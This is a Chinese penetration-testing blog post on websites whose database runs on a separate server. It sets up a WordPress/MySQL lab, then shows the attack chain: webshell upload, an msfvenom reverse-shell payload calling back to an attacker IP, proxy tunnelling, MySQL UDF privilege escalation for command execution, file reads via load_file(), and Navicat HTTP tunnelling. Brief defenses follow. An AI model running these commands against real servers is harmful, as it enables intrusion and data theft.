WEB安全 | 浅谈站库分离部署与渗透思路

admin 2022年7月17日22:12:43评论154 views字数 4926阅读16分25秒阅读模式
WEB安全 | 浅谈站库分离部署与渗透思路

点击上方“蓝字”,关注更多精彩

0x00 前言

站库分离这个词,听起来很高大上。对于平时搭建自己的博客、实验环境习惯了LAMP一体机的童鞋来说,确实有些生疏。这里写一篇文章总结一下。

本文篇幅较长,涉及到的知识点:CMS搭建网站、Navicat操作技巧、mysql udf提权、禁用ubuntu apparmor、站库分离实现、数据库命令操作。

0x01 概述

现在的WEB网站,只要是动态网站,肯定会带有数据库。一般来讲我们搭建自己的博客、实验环境,无论是phpstudy、Linux命令、LAMP一键安装脚本、还是docker,总之为了方便,将WEB服务、数据库和语言解析服务安装在一台机器上,俗称LAMP或者LNMP集成环境等等。

但是企业级别的架构,这么做很容易出现风险和漏洞,于是就有了站库分离的思想。将数据库甚至语言解析服务与WEB服务器分离开,单独安装在另一台服务器上,这个数据库服务器会部署在公网或者内网上。不过虽然看似很安全,但是如果稍有不慎,也是有风险的。

那么WEB服务器和数据库服务器是分开的,那么它们之间是如何建立的联系?

DB部署在公网(不推荐)

第一种情况,数据库服务器部署在公网。有用自己的服务器的,也有用云数据库的。只要是稍微大点的公司,基本上不会这么做。用自己的服务器还要再购买一个静态公网IP,成本高,风险大;用Amazon/阿里/腾讯/华为RDS等云数据库,不但要担心自己的数据泄露,而且总有一种寄人篱下之感,很不牢靠。

WEB安全 | 浅谈站库分离部署与渗透思路

DB部署在内网

第二种情况比较常见,数据库服务器部署在内网中,这样成本低,减少受攻击面。

WEB安全 | 浅谈站库分离部署与渗透思路

0x02 站库分离环境搭建

我经常提到,想要做渗透,一定要了解对方的架构和组织部署,有源码就审计,有产品版本就自己安装研究研究。这是最快熟悉目标的方式,也是为了渗透做一个初步了解和认知。这里来模拟一个数据库服务器建设在内网的环境。

01、所需物料

WEB服务器:ubuntu18.04 + wordpress 边界机,双网卡(外网+内网)

WEB安全 | 浅谈站库分离部署与渗透思路

数据库服务器:ubuntu18.04+Mysql 5.7(仅有内网网卡)

WEB安全 | 浅谈站库分离部署与渗透思路

02、数据库服务器安装mysql

1、先加一块外网网卡安装数据库然后删掉就行。

apt update
apt install mysql-server -y #安装mysql-server
mysql --version   #查看版本信息
systemctl status mysql  #查看mysql状态

2、mysql开启外连。这里为了方便实验,就默认开启root用户的外连了,企业级搭建不要轻易使用root用户。

mysql_secure_installation #配置mysql的安全选项,开启root远程连接
mysql -u root -p 即可进入mysql
#mysql -u root 直接进入的原因是默认允许127.0.0.1直接链接。
 mysql> grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option;
 mysql> flush privileges;
#注释掉127
vim /etc/mysql/mysql.conf.d/mysqld.conf
WEB安全 | 浅谈站库分离部署与渗透思路
WEB安全 | 浅谈站库分离部署与渗透思路

03、WEB服务器搭建

1、安装apache与php语言环境

apt update 
apt install apache2 -y 
service apache2 enable
apt install php php-curl php-gd php-xml php-mbstring php-xmlrpc php-zip php-soap php-intl php-mysql php-xsl php-zip libapache2-mod-php
systemctl restart apache2
WEB安全 | 浅谈站库分离部署与渗透思路

2、安装wordpress:先在数据库服务器上新建一个wordpress的库

WEB安全 | 浅谈站库分离部署与渗透思路

3、下载wordpress:https://wordpress.org/download/#download-install,放入网站根目录后,修改权限为www-data

chown www-data:www-data -R wordpress

4、随后页面访问,注意这里填写成数据库服务器的对应信息。

WEB安全 | 浅谈站库分离部署与渗透思路

5、随后输入相应的账号密码即可安装成功。

WEB安全 | 浅谈站库分离部署与渗透思路

0x03 站库分离渗透思路

01、从WEB服务器入手

这个就比较常见了,我们常用的传统漏洞姿势:文件上传、反序列化、中间件CMS漏洞;还有漏洞结合getshell:文件包含、XSS配合RCE等等。总之拿到了webshell之后,我们是有足够权限去查看网站的配置文件如config.php等,从而查看到链接数据库的信息,紧接着根据信息收集进行下一步的利用。

通过webshell查看数据库信息

1、假设通过漏洞写入了一个shell.php,连接蚁剑。

WEB安全 | 浅谈站库分离部署与渗透思路

2、可以通过查看配置文件,发现连接的数据库信息(强密弱密都能看到)从而我们也发现了一个内网环境。

WEB安全 | 浅谈站库分离部署与渗透思路

3、MSF生成木马通过蚁剑上传,添加权限并运行上线。

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.31.84 lport=4444 -f elf -o shell.elf
msfconsole -x "handler -H 0.0.0.0 -P 4444 -p linux/x64/meterpreter/reverse_tcp"
chmod +x shell.elf
./shell.elf
WEB安全 | 浅谈站库分离部署与渗透思路

4、建立路由和代理隧道

WEB安全 | 浅谈站库分离部署与渗透思路

5、成功连接内网数据库服务器

WEB安全 | 浅谈站库分离部署与渗透思路

6、进行数据库信息收集

select user();
select database();
show variables like '%version_%';
show variables like '%plugin%';
show variables like '%secure%';
WEB安全 | 浅谈站库分离部署与渗透思路

配置漏洞环境

7、这里想要让数据库服务器上线,可以利用udf提权自定义函数进行命令执行,但是这种方式条件比较苛刻,尤其是在ubuntu机器中,几乎不可能。为了试验成功,这里特意将ubuntu配成可以使用udf提权的环境:

  • 赋予root读写权限
vim /etc/mysql/mysql.conf.d/mysqld.conf #在mysqld下添加一句话如图
service mysql restart
WEB安全 | 浅谈站库分离部署与渗透思路
  • 赋予插件目录写权限
chmod 777 /usr/lib/mysql/plugin
WEB安全 | 浅谈站库分离部署与渗透思路
  • 关闭apparmor

ubuntu18.04中内置了一个apparmor,看这个名字就知道这是做应用护甲保护、限制应用行为的。这个apparmor的存在,导致我们满足了上方两个条件也无法写入.so文件和执行命令。

sudo aa-status #查看apparmor信息,有如图这行代码说明有限制
WEB安全 | 浅谈站库分离部署与渗透思路
sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld
service mysql restart
WEB安全 | 浅谈站库分离部署与渗透思路

8、好了,漏洞环境到此部署完毕,开始通过udf提权来自定义函数从而使其上线,由于代码太长了,大家可以去国光博客的udf查询复制:

https://www.sqlsec.com/tools/udf.html

最后提权结果是不是root无所谓,这和数据库的版本有关系,我们只需要命令执行即可。

SELECT 0x7f4........0000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; --太长了,简写了
create function sys_eval returns string soname 'udf.so';
select sys_eval('whoami');
WEB安全 | 浅谈站库分离部署与渗透思路

9、上传木马到边界机器,利用sys_eval远程下载木马,因为内网数据库机器不出网,所以可以利用frpioxnps等工具进行代理上线。因为篇幅~~(我懒)~~原因,这里就不再演示了。

WEB安全 | 浅谈站库分离部署与渗透思路

从DB服务器入手

丑话说在前:很难。

如果DB服务器部署在公网上,一般来说都会设置IP白名单,也就是只有WEB服务器的IP才能连接数据库服务器,并且设置数据库密码为强密。

不过万一没有配置好呢?渗透有时候就是靠运气和捡漏,说好听点就是盲打,说高级点就是渗透测试Fuzz...

思路包括:弱口令暴力破解、数据库账密信息泄露、反编译等。

如果DB服务器部署在内网,只能通过别的手段进入内网再横向等。

利用方式

通过上述思路获取到账密后,连接数据库,我们可以重点收集这些信息:

1、有时候我们的目标不是获取shell,就是为了拿特定数据。

2、定位WEBip地址。通过查询information_schema库中的PROCESSLIST可以查看当前 MYSQL 的连接情况。因为 web 应用会产生查询数据库操作,所以在回显出来的 host 字段中会带回目标的ip:port。(这里的111.1是我的物理机)

select * from information_schema.PROCESSLIST;
WEB安全 | 浅谈站库分离部署与渗透思路

3、敏感信息遍历:利用load_file()获取数据库所在服务器的信息,前提是开启读写权限并且mysql版本小于5.7。我这里是5.7.3的,可以看到读取不了任何文件内容。

WEB安全 | 浅谈站库分离部署与渗透思路

如果可以读取,可以读网卡信息,下面以centos7mysql为例:

#获取网卡名称
/etc/udev/rules.d/70-persistent-net.rules
#静态IP
/etc/sysconfig/network-scripts/ifcfg-网卡
#DHCP
/var/lib/dhclient/dhclient--网卡.lease

0x04 Navicat的妙用

说个题外话,就是关于Navicat的技巧:

背景:目标 MySQL 不允许外连,但是可以上传 PHP 脚本。

WEB安全 | 浅谈站库分离部署与渗透思路

这时候就可以用Navicat安装目录下自带的脚本:ntunnel_mysql.php

WEB安全 | 浅谈站库分离部署与渗透思路

上传后访问这个文件,输入相关的账号密码数据库信息

WEB安全 | 浅谈站库分离部署与渗透思路

再次使用Navicat,选择http代理

WEB安全 | 浅谈站库分离部署与渗透思路

随后将连接设置改为localhost即可连接

WEB安全 | 浅谈站库分离部署与渗透思路

试想一下,平时运维可以这么做,不用非要每次改库都更改数据库配置了;

对于渗透测试来说,类似于neo-reGeorge的功能,直接开启一个代理。

所以当目标网站不允许外连数据库,但是可以上传文件时,就可以用这个方法,同时也适用于站库分离。

0x05 总结

我相信,到这里我不说大家也应该基本会了。

站库分离渗透思路

WEB漏洞打点getshell查看配置文件进而继续利用。

数据库爆破、信息泄露、反编译利用,重点收集WEB端连接的ip等。

ubuntu对mysql的限制

实验环境记得关闭apparmor,否则udf提权无法生产环境千万不要关闭。

防御

针对WEB服务器:做好各种漏洞的防御,具体不说了

针对DB服务器:

  • 尽量不要部署在公网之上。

  • 开启外连所用的账号,不要用root,同时使用强密码。

  • 数据库配置ip白名单,仅允许WEB服务器连接。


WEB安全 | 浅谈站库分离部署与渗透思路

往期推荐

实战技巧 | 云函数反溯源方式(上)

实战经验 | 解决ssh链接VPS掉线问题

内网渗透 | 文件共享服务与ipc横向详解

内网渗透 | JS脚本下载payload与代码分析

内网渗透 | 内网隐藏技术之我见

红队建设 | 入侵痕迹抹除

红队建设 | 网络钓鱼技术

红队建设 |  流量加密

红队建设 | certutil详解

每日技巧05 | VM16安装macOS

郑重声明该公众号大部分文章来自作者日常工作与学习笔记,也有少数文章是经过原作者授权转载而来,未经授权,严禁转载。如需要,请公众号私信联系作者。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与原作者以及本公众号无关。

WEB安全 | 浅谈站库分离部署与渗透思路
WEB安全 | 浅谈站库分离部署与渗透思路
扫码关注
人若无名便可潜心练剑
专注渗透测试、工具开发

原文始发于微信公众号(HACK技术沉淀营):WEB安全 | 浅谈站库分离部署与渗透思路

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月17日22:12:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WEB安全 | 浅谈站库分离部署与渗透思路https://cn-sec.com/archives/1182740.html

发表评论

匿名网友 填写信息